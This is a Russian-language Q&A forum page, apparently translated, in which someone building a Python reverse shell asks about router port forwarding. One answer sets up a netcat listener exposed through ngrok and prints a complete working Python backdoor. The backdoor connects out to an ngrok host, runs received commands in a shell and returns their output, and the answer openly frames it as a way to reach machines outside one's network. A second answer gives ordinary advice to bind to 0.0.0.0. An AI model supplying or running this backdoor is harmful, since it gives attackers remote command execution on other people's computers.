Переадресация портов обратной оболочки

Я создаю обратную оболочку с Python, и у меня проблема с моим маршрутизатором в переадресации портов.

У меня нет статического ip.

В роутере:

Протокол: TCP

Lochealipaddr: 192.168.1.10

Localport: 8090

Wanipaddr: ---

Wanport: 8090

состояние: включить

в моем скрипте Python я не могу связать на мой IP-адрес WAN

ST.bind((Wanipaddr, 8090))

если я связываюсь с localipaddr, мой обратный клиент не может подключиться к серверу

каково мое решение проблемы??

Спасибо

1 ответ

Если вы хотите использовать бэкдор для получения подключений за пределами локальной сети, используйте ngrok

пример:

1- позволяет прослушивать порт 4444:

nc -lp 4444

2- после установки ngrok вы запустите эту команду:

ngrok tcp 444

3- теперь найдите адрес ngrok

адрес ngrok

4- используйте свой адрес ngrok для подключения клиента

# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
     conn = s.recv(2048).decode()
     if conn[:3] == 'cd ':
         os.chdir(conn[3:])
         cmd = ''
     else:
         proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
         stdout, stderr = proc.communicate()
         cmd = stdout+stderr
     cmd += str('\n'+os.getcwd()).encode()
     s.send(cmd)

5- теперь вы можете общаться с кем угодно за пределами вашей сети

ракушка

Похоже, ваш маршрутизатор настроен на пересылку запросов из Интернета через порт 8090 на хост (при условии, что у вас правильный IP-адрес локальной сети). Возможно, просто попробуйте привязать к 0.0.0.0,

Из википедии, это соответствует этому контексту:

Способ указать "любой адрес IPv4 на всех". Он используется таким образом при настройке серверов (т. Е. При привязке прослушивающих сокетов).

Другими словами, вы говорите своему серверу по существу прослушивать каждый доступный сетевой интерфейс (на этом порту).

Другие вопросы по тегам